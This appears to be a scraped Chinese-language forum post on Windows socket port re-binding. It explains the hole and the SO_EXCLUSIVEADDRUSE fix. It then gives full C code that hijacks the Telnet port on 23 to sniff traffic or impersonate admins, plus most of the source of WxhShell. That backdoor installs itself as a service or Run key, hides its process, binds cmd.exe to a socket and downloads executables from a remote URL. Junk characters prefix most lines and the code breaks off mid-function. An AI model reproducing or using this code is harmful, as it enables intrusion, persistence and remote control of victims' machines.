在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
)%I2#Q"Nt- s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
A}W)La\
VyK[*kyN saddr.sin_family = AF_INET;
j#rjYiYKy /I(IT=kp saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Y j;KKgk UiO%y bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
],V_"\ATD iv*`.9TK- 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
(R5n ND @m[q0G} 这意味着什么?意味着可以进行如下的攻击:
9!&fak_ V i V3Y 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
ErnjIx: ;EDc1: 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
~.;+uH<i <b!nI
N 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
qbrY5;U 5)bf$?d 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
t"4RGO)jh yhxen 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
*:L-/Q)i e)"]H* 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
?NkweT( l];w,(u{ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
:s DE'o 2:3-mWE #include
TrD2:N}dI #include
Y">m g=B #include
B >2" O #include
]zK'aod DWORD WINAPI ClientThread(LPVOID lpParam);
2[-@
.gH int main()
_$g6Mj]1z {
:Yeo*v9 WORD wVersionRequested;
lV924mh DWORD ret;
|,#DB WSADATA wsaData;
'Km
~3t BOOL val;
sxc^n
aK0 SOCKADDR_IN saddr;
ZFYv|2l SOCKADDR_IN scaddr;
0N9`WK int err;
nE;^xMOK! SOCKET s;
RrB)u? SOCKET sc;
"x~VXU%xU int caddsize;
trlZ ^K HANDLE mt;
$v5)d J DWORD tid;
@/jLN wVersionRequested = MAKEWORD( 2, 2 );
!'scOWWn err = WSAStartup( wVersionRequested, &wsaData );
?'SHt9b3| if ( err != 0 ) {
B6 rz printf("error!WSAStartup failed!\n");
"u^%~ 2 return -1;
=ie8{j2: }
Lxz!>JO> saddr.sin_family = AF_INET;
qTxw5.Ai! K=lm9K //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
0oR'"Vo IY_u|7d saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
^K[WFi N} saddr.sin_port = htons(23);
T .#cd1b if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
k_d) {
[=/Yo1:v printf("error!socket failed!\n");
9NzK1V0X return -1;
;6+e !h'1 }
wwmHr!b:6 val = TRUE;
X~+AaI:~K //SO_REUSEADDR选项就是可以实现端口重绑定的
xAlyik
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
3X|7 R {
j:k}6]p} printf("error!setsockopt failed!\n");
f[r?J/;P9 return -1;
F/8="dM }
I'sq0^ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
`eZ
+Pf". //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
{9mXJu$cc //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
pX 4:WV Lvco9
Ak if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
o4Ny9s {
VT@,RlB0 ret=GetLastError();
4DLp+6zP printf("error!bind failed!\n");
ui>0?O*G return -1;
Dqxtc|vo }
[v0[,K listen(s,2);
C6<*'5T while(1)
~%gO +qD {
_.}1 Y,Q caddsize = sizeof(scaddr);
:2v^pg| //接受连接请求
c
qWX*&2_ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
'>"riEk if(sc!=INVALID_SOCKET)
mHj3ItXUu {
3$ 'eDa[ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
<xn96|$ if(mt==NULL)
8,VX%CS#q {
(v/mKG yg printf("Thread Creat Failed!\n");
&Hl*Eg
f break;
3P}^Wu }
N*mm[F2+F }
P
}BU7`8 CloseHandle(mt);
fC4#b?Q }
}^b7x;O| closesocket(s);
h
eR$j WSACleanup();
ng0tNifZ; return 0;
pYxdE|2j }
A,H|c=" DWORD WINAPI ClientThread(LPVOID lpParam)
_0GM!Cny {
aB$xQ|~ SOCKET ss = (SOCKET)lpParam;
W~W`fm SOCKET sc;
k_,wa]ws$ unsigned char buf[4096];
"J.7@\^ h/ SOCKADDR_IN saddr;
7NQ@q--3s long num;
Q85Y6', DWORD val;
[\_#n5 DWORD ret;
'L k&iph //如果是隐藏端口应用的话,可以在此处加一些判断
9e aqq //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
n "J+?~9 saddr.sin_family = AF_INET;
!EwL"4pPw saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
#E'aa'P} saddr.sin_port = htons(23);
,)svSzR if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Q`0 k=< {
__mnz``/Y printf("error!socket failed!\n");
.sqX>sU/] return -1;
j]6c_r3 }
-O~V4004 val = 100;
:6T8\W if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
AcoU.tpP {
0m& ret = GetLastError();
|Q|vCWel{ return -1;
K|a^<|
S }
S7(Vc H if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{J[5 {]Je[ {
0b3z(x!O ret = GetLastError();
7,v}Ap]Pa return -1;
?7eD<| }
;) c 4 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
I
k[{,p {
' K\ $B_ printf("error!socket connect failed!\n");
d*cAm$ closesocket(sc);
ZC!GKWP2 closesocket(ss);
<+r<3ZBA return -1;
g~/@`Z2Y }
_T^+BUw while(1)
12olVTuw {
Cg]Iz<<bE //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
MYk%p' //如果是嗅探内容的话,可以再此处进行内容分析和记录
Nn:>c<[ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
:~PzTUz num = recv(ss,buf,4096,0);
x$gVEh*k if(num>0)
lFZ}. send(sc,buf,num,0);
~N!-4-~p else if(num==0)
WGC'k
s ^ break;
S-Z s
num = recv(sc,buf,4096,0);
3W#f
Fy if(num>0)
^1}Y=!& send(ss,buf,num,0);
uG:xd0X+W else if(num==0)
4Yx\U break;
9$iDK$% }
$%GW~|S\C closesocket(ss);
p$+.] closesocket(sc);
OZCbMeB{+J return 0 ;
IPTEOA<M[ }
q\I2lZ Xlp $xp" W]aX}>0 ==========================================================
?c7}
v ^6?)EM# 下边附上一个代码,,WXhSHELL
jWE?$r" iH;IXv,b3 ==========================================================
=)O%5<Lwx \~4IOu #include "stdafx.h"
^ALR.N+< \|wUxijJ*, #include <stdio.h>
<<iwJ
U%: #include <string.h>
pIbm)- #include <windows.h>
&}."sGK #include <winsock2.h>
EZw<)Q #include <winsvc.h>
[(d))(M$| #include <urlmon.h>
!J/fJW>m6 i^I
U)\ #pragma comment (lib, "Ws2_32.lib")
(imaL,M-D #pragma comment (lib, "urlmon.lib")
R{0nk m,1Hlp #define MAX_USER 100 // 最大客户端连接数
W6y-~ #define BUF_SOCK 200 // sock buffer
um}%<Cy[ #define KEY_BUFF 255 // 输入 buffer
Z<A BK`rEO R>#BJ^>= #define REBOOT 0 // 重启
mu/GOEZ5 #define SHUTDOWN 1 // 关机
?V9Da;cj *?<ygzX #define DEF_PORT 5000 // 监听端口
(7k}ysc Q"VS;uh.v #define REG_LEN 16 // 注册表键长度
d:"#_ #define SVC_LEN 80 // NT服务名长度
,+mH1#-3 by0@G"AE+ // 从dll定义API
#l<un< typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
9irT}e typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
%j7HIxZh typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
jVxX! V typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
lq[o2\ f?[0I\V[$ // wxhshell配置信息
@5tW*:s struct WSCFG {
s/cclFji] int ws_port; // 监听端口
$eQf 5)5 char ws_passstr[REG_LEN]; // 口令
ynQ+yW74Z int ws_autoins; // 安装标记, 1=yes 0=no
w /l\p3n char ws_regname[REG_LEN]; // 注册表键名
k&dLg5O char ws_svcname[REG_LEN]; // 服务名
!STa}wl char ws_svcdisp[SVC_LEN]; // 服务显示名
1Bl;.8he.) char ws_svcdesc[SVC_LEN]; // 服务描述信息
u}~j NV char ws_passmsg[SVC_LEN]; // 密码输入提示信息
?mME^?x
Mu int ws_downexe; // 下载执行标记, 1=yes 0=no
|9&bkojo char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
]A%S&q char ws_filenam[SVC_LEN]; // 下载后保存的文件名
|tVWmm^m c1>:|D7w };
J4VyP["m 6upCL:A~r // default Wxhshell configuration
vk>EFm8l struct WSCFG wscfg={DEF_PORT,
=j&qat "xuhuanlingzhe",
D$&LCW#x 1,
/jB0 "Wxhshell",
iFBH;O_~ "Wxhshell",
/'<Qk' "WxhShell Service",
S9@2-Oc "Wrsky Windows CmdShell Service",
^{+,j}V_H "Please Input Your Password: ",
!L|PDGD 1,
<^v-y)%N:A "
http://www.wrsky.com/wxhshell.exe",
Hp}d m93T "Wxhshell.exe"
T^F9A55y };
LF?MO1!M Ak=|wY{ // 消息定义模块
Q}(D^rGP3 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
;"T,3JQPn6 char *msg_ws_prompt="\n\r? for help\n\r#>";
wrJ:jTh char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
<JkmJ/X char *msg_ws_ext="\n\rExit.";
}u9wD08x char *msg_ws_end="\n\rQuit.";
'qt+.vd char *msg_ws_boot="\n\rReboot...";
0[QVU,]< char *msg_ws_poff="\n\rShutdown...";
=E~)svl6g char *msg_ws_down="\n\rSave to ";
Hi5}s
Aav|N3 char *msg_ws_err="\n\rErr!";
L32 [IL| char *msg_ws_ok="\n\rOK!";
6f^q >YP 3H_%2V6#V1 char ExeFile[MAX_PATH];
miv)R int nUser = 0;
FKpyD HANDLE handles[MAX_USER];
^PrG5|,s int OsIsNt;
*v6 j7<H r@v_hc SERVICE_STATUS serviceStatus;
YI!@,t SERVICE_STATUS_HANDLE hServiceStatusHandle;
0n('F _4lhwKYU // 函数声明
{DVu* %| int Install(void);
H7&bUt/ int Uninstall(void);
wz1fl#WU int DownloadFile(char *sURL, SOCKET wsh);
_1EWmHZ? int Boot(int flag);
! {c"C void HideProc(void);
,lUr[xzV int GetOsVer(void);
oe,37xa4 int Wxhshell(SOCKET wsl);
2Ysl|xRo void TalkWithClient(void *cs);
ZBcT@hxm int CmdShell(SOCKET sock);
@b2JR^ int StartFromService(void);
VHlo}Ek<# int StartWxhshell(LPSTR lpCmdLine);
/~nPPC ?VaAVxd29 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
>||=# ; VOID WINAPI NTServiceHandler( DWORD fdwControl );
+w(>UBy- DuzJQSv // 数据结构和表定义
Y%"73.x SERVICE_TABLE_ENTRY DispatchTable[] =
i<>zN^zn {
p^/6Rb"e {wscfg.ws_svcname, NTServiceMain},
#lo1GoL\ {NULL, NULL}
8H<:?D/tH };
Zwm2T3@e ~SD8#;v2 // 自我安装
|WMP_sGn int Install(void)
>ngP\&\ {
{S2?
} char svExeFile[MAX_PATH];
!hS~\+E HKEY key;
`fm^#Nw strcpy(svExeFile,ExeFile);
u?-X07_ JS{trqc1d // 如果是win9x系统,修改注册表设为自启动
/QT"5fxKJ if(!OsIsNt) {
~4 {| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
{L9WeosQ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
'(o*l RegCloseKey(key);
1 Ka,u20 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
XZ1oV?Z4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
:^H#i:4 RegCloseKey(key);
c(5r return 0;
fBZAO }
n(.U>_
P }
@Fs2J_v }
n$z+g>~N else {
BL?Bl&p( s+RSAyU // 如果是NT以上系统,安装为系统服务
M+ljg&fy SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
p%?m|(4f if (schSCManager!=0)
co-dq\P {
J=@D]I*3 SC_HANDLE schService = CreateService
']cRSj. (
F9\T< schSCManager,
m.0:R wscfg.ws_svcname,
,rZp(moj wscfg.ws_svcdisp,
PW)Gd +y SERVICE_ALL_ACCESS,
+`D,7"{Eu SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
\cKY{(E SERVICE_AUTO_START,
R-\a3q SERVICE_ERROR_NORMAL,
/Q*o6Gys0 svExeFile,
YKtF)N;m] NULL,
F-SD4a NULL,
$lYy `OuC NULL,
qo^PS NULL,
X6`F<H` NULL
t7].33%\ );
Aq~}<qkIF+ if (schService!=0)
/6@~XO)w {
[(65^Zl` CloseServiceHandle(schService);
zv>3Tc0R CloseServiceHandle(schSCManager);
ZT'VF~ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
9S8>"w^R strcat(svExeFile,wscfg.ws_svcname);
2$OI(7b= if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
XNd%3rm, RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
7>sNjOt@M RegCloseKey(key);
Rx,Qw> # return 0;
<[W41{ }
-<MA\iSP }
$MPh\T CloseServiceHandle(schSCManager);
KbP( ; }
@_
Q }
+^0Q~>=VD Mb0l*'ZF return 1;
YrRD3P.P }
7F!(60xY l]wjH5mz=i // 自我卸载
2qQG int Uninstall(void)
S.Rqu+ {
S(nZ]QEG HKEY key;
+?I1Og BXx0Z
%e.3 if(!OsIsNt) {
t!S ja if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
9+!1jTGSkf RegDeleteValue(key,wscfg.ws_regname);
w,/&oe5M+ RegCloseKey(key);
E` O@UW@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
9]E;en NQ RegDeleteValue(key,wscfg.ws_regname);
vy&< O RegCloseKey(key);
H,Ik&{@j return 0;
czH`a=mjH }
rQ+2 -|# }
Nd] w I|> }
qC;1ND else {
]u\K}n6[q GI ~<clhf SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
C>bd
HB7 if (schSCManager!=0)
14LOeo5O {
eq<giHJM SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
.PHz
if (schService!=0)
%%-hax.x0X {
h0v4!`PQ- if(DeleteService(schService)!=0) {
XC NM CloseServiceHandle(schService);
aOWfu^&H: CloseServiceHandle(schSCManager);
ImnN&[Cu return 0;
IC[iCrB }
f:)%+)U<Xm CloseServiceHandle(schService);
7 g2@RKo }
tOQura CloseServiceHandle(schSCManager);
|}YeQl }
2wKW17wj, }
=Y;w O8 &Fxw19[G return 1;
'c")]{ }
_h7qS e.<y-b? // 从指定url下载文件
p"lTZ7c:Y int DownloadFile(char *sURL, SOCKET wsh)
$:
%U`46%s {
Ln2dD> {2 HRESULT hr;
O5;$cP: char seps[]= "/";
,cg%t9 char *token;
fsr0E=nV char *file;
| D?lF char myURL[MAX_PATH];
a`:ag~op@& char myFILE[MAX_PATH];
icnc5G N Dt +m strcpy(myURL,sURL);
TGe)%jZ token=strtok(myURL,seps);
fQ@k$W\ while(token!=NULL)
Xgs 31#K {
/'S@iq file=token;
n,.ZLuBEX token=strtok(NULL,seps);
4Em$L]7 }
+d=cI EP;TfWc}1 GetCurrentDirectory(MAX_PATH,myFILE);
B
>
sTM strcat(myFILE, "\\");
?cF-w!>o8 strcat(myFILE, file);
k'hJ@6eKS send(wsh,myFILE,strlen(myFILE),0);
kOycS send(wsh,"...",3,0);
9sR?aW^$,/ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
mV58&SZT if(hr==S_OK)
9)Jc'd| return 0;
HS% P else
k8~/lE.Wy return 1;
[kjm EMF9i SW^/\cJ^ }
5NT?A,r" @\_l%/z{ // 系统电源模块
GdxMHnn= int Boot(int flag)
"AAzBWd/ {
.gPXW=r HANDLE hToken;
XKTX~: TOKEN_PRIVILEGES tkp;
0i4X,oHjG ?'I[[KuG if(OsIsNt) {
i5QG_^X& OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
gp/_# QVWC LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
8LH"j(H tkp.PrivilegeCount = 1;
$xWebz0 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
:())%Xu3 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
qg(rG5kD@ if(flag==REBOOT) {
h)vRvfcmY if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
YjV-70' return 0;
e=]>TeqG0 }
]I|3v]6qR else {
0."TSe83\ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
h.`U)6*?&N return 0;
XehpW}2\ }
cnrS.s= }
`k>h2(@9S
else {
f8m%T%]f if(flag==REBOOT) {
`(RQh@H if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
RH=Tu6i return 0;
BgzER[g|q{ }
v@6TC 1M, else {
%dyE F8) if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
~;pv&s5} return 0;
?Cu1"bl }
Hvm+Tr2@ }
JpFfO<uO :-I~-Yj return 1;
3e<FlH{ }
FzDZ<dJ *i}Nb*Z3 // win9x进程隐藏模块
D9#?l<D void HideProc(void)
6__#n` {
'_~X(izc j70]2NgX HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
5K~kzRL$r if ( hKernel != NULL )
|Bv?!
sjf {
yWs_Z6 b pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
}P5zf$ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
_>G=v! FreeLibrary(hKernel);
w_gPX0N}3n }
!_EaF`oh( Mbt}G|;8H7 return;
I1H} 5bf3 }
XYKWOrkQqa X>n\@rTo // 获取操作系统版本
B" -gK20vY int GetOsVer(void)
:uAW {
s[V$fvW OSVERSIONINFO winfo;
<By6%<JTn winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
p8>.Q/4
GetVersionEx(&winfo);
?D].Za^km if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
=ZsM[wd return 1;
MZ(TST" else
q+MV@8w return 0;
M>mk=-l }
v}=3 b9ON[qOMN // 客户端句柄模块
{\OIowa int Wxhshell(SOCKET wsl)
@$5GxIw<l {
e$k]z HlQ SOCKET wsh;
o8:K6y struct sockaddr_in client;
c
!$
8> DWORD myID;
-XVC,.Ly hSgfp while(nUser<MAX_USER)
v;E7UL
.w {
)C
@W_cfMN int nSize=sizeof(client);
}),tk?\ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
AxaabS$\ if(wsh==INVALID_SOCKET) return 1;
Pez 7HKW: TK )Kq handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
iY=M67V if(handles[nUser]==0)
sckyG closesocket(wsh);
KfU4#2} else
(c/H$' nUser++;
nt,tM/ }
idwiM|.iU WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
"t<${ VrF(0,-Z`3 return 0;
\dyJ=tg }
_Ee`Uk {gE19J3 // 关闭 socket
*t;'I -1w^ void CloseIt(SOCKET wsh)
:*bmc /c {
U _~lpu closesocket(wsh);
73$^y)AvY nUser--;
4:\s.Z{!3 ExitThread(0);
YfC1.8 }
P@Wi^svj UTEUVcJ\ // 客户端请求句柄
w_po5[]R void TalkWithClient(void *cs)
|kvom 4 T {
}]pq&v! "_qH+=_R SOCKET wsh=(SOCKET)cs;
wVvk{tS char pwd[SVC_LEN];
pV:c`1\` char cmd[KEY_BUFF];
v535LwFW char chr[1];
7qB}Hvh int i,j;
}5H3DavW h1.]Nl
C while (nUser < MAX_USER) {
|x|#n `}1IQ.3 if(wscfg.ws_passstr) {
* P_
3A:_ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
DLYk#d: q? //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
0]l _qxv //ZeroMemory(pwd,KEY_BUFF);
kji*7a?y i=0;
QE&rpF7l{ while(i<SVC_LEN) {
PaF`dnJ )%q]?@kB // 设置超时
FbB>
Md; fd_set FdRead;
4h>Dpml struct timeval TimeOut;
@
8yV 15! FD_ZERO(&FdRead);
Egv (n@1 FD_SET(wsh,&FdRead);
8LP L4l TimeOut.tv_sec=8;
_ x&Y'X| TimeOut.tv_usec=0;
8(UUc>g int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
7:U ^Ki if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
G#ov2 \|Pp%U [ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
(W3~r pwd
=chr[0]; &B
uO-
if(chr[0]==0xd || chr[0]==0xa) { Hm|8ydNs
pwd=0; Z~^)B8
break; sQrP,:=r#
} D 8^wR{-;J
i++; G>{Bij44
} xU#f>@v!
7/lXy3B4
// 如果是非法用户,关闭 socket T:aYv;#0
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c&.>SR')
} XVjs0/5b
'~RP+
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); DfP4 `
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q.0a0/R
q3\
YL?
while(1) { 5" <7
u1F@VV{
ZeroMemory(cmd,KEY_BUFF); Jg=[!j0(
q"OvuHBSOn
// 自动支持客户端 telnet标准 [psW+3{bG
j=0; w-l:* EV8
while(j<KEY_BUFF) { ^>02,X
mk
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )J4XM(
cmd[j]=chr[0]; hjywYd]8
if(chr[0]==0xa || chr[0]==0xd) {
DjK:)
cmd[j]=0; lz.ta!6
break; Uk=jQfA*J
} b: UTq
7^
j++; [(U:1&x&
} X>^St&B}fC
X4LU/f<f
// 下载文件 iJE
$3
if(strstr(cmd,"http://")) { E7-il;`cKn
send(wsh,msg_ws_down,strlen(msg_ws_down),0); g$<Sh.4A
if(DownloadFile(cmd,wsh)) Md_S};!QN6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); v'(p."g
else n>?o=_|uR
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !E<y:$eH:
} wP.b2X_V
else { A L|F
Bd
ca/AScL
switch(cmd[0]) { BwwOaO@L
SW|{)L,
// 帮助 25%[nkO4
case '?': { /?<o?IR~6
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H'E(gc)>)
break; cl
kL)7RQ
} Lu,72i0O ^
// 安装 Tg|0!0qD]F
case 'i': { zKB$n.H
if(Install()) 2TB>d+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ssGp:{]v/
else R{"Kh2q_
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mz,G;x}
break; SoX\S|}%6[
} lt\.
)Y>4
// 卸载 F]kn4zr
case 'r': { z97RNT|Y7U
if(Uninstall()) `R@1Sc<*|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +~b@W{
else ?S^ U-.`
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rEEoR'c6
break; (D5 dN\
} JgQ,,p_V?
// 显示 wxhshell 所在路径 4X tIMa28
case 'p': { EaaLN<i@0
char svExeFile[MAX_PATH]; : p# 5nYi
strcpy(svExeFile,"\n\r"); ' jAX&7G`
strcat(svExeFile,ExeFile); ]t$wK
send(wsh,svExeFile,strlen(svExeFile),0); 3Au3>q,
break; SPfz/ q{
} W]b>k lp;
// 重启 m{T:<:q~
case 'b': { ,MH/lQq%
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);
JmL{&
if(Boot(REBOOT)) s`Z|
A
send(wsh,msg_ws_err,strlen(msg_ws_err),0); IiW*'0H:/
else { ~n9x
,
closesocket(wsh); Aw#@}TGT
ExitThread(0); c'#w 8V
} }ZaZPB/_}P
break; /BEE.`6yI5
} -JgN$Sf
// 关机 [X K^3pT_
case 'd': {
XdS&s}J[I
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); e$'|EE.=q+
if(Boot(SHUTDOWN)) |6@s6]%X}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); h`Ld%iN\
else { k# -u!G
closesocket(wsh); ndW]S 7
ExitThread(0); )LOV)z|}
} t!^ j0 q
break; S9\_ODv
} :(7icHa
// 获取shell 2>`m1q:
case 's': { cg`bbZ
CmdShell(wsh); h"O4r8G}
closesocket(wsh); >JOEp0J
ExitThread(0); ,j3Yvn W
break; >~_oSC)E
} {\:"OcP #
// 退出 |.]sL0;4Z
case 'x': { 3i\<#{
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mO#62e4C
CloseIt(wsh); _#;UXAi
break; M/<>'%sj
} Zw@=WW[Q`p
// 离开 H5MO3DJ
case 'q': { 2iX57-6Ub
send(wsh,msg_ws_end,strlen(msg_ws_end),0); +"P!es\q
closesocket(wsh); EhWYFQ
WSACleanup(); pAdx 6
exit(1); Twq/Y07M
break; -!Ov{GHr0
} y6#AL<W@=
} 2g0_[$[m
} xlKg0&D
mCb1^Y
// 提示信息 PCqE9B)l
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J_-K"T|f
} {KQ]"a 6
} 85e!)I_
{pJf~
return; |f+`FOliP
} {wK|C<K
czG]rl\1
// shell模块句柄 *3R3C+
L
int CmdShell(SOCKET sock) OV>JmYe1{/
{ ;*+wg5|
STARTUPINFO si; 5EX
Ghc'
ZeroMemory(&si,sizeof(si)); 4CH/~b1(
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1\u{1
V
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !_i;6UVG
PROCESS_INFORMATION ProcessInfo; W]B75
char cmdline[]="cmd"; =PM6:3aKh
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [\BLb8
return 0; B!j7vXM2
} .X.,.vHx
&=>|? m8
// 自身启动模式 Z%m\/wr
int StartFromService(void) GS)4,.
{ c9/&A
typedef struct %96l(JlJ)B
{ HI\V29
a
DWORD ExitStatus; Fo.p}j+>
DWORD PebBaseAddress; 'nQQqx%v
DWORD AffinityMask; lnQfpa8j
DWORD BasePriority; l$:?82{
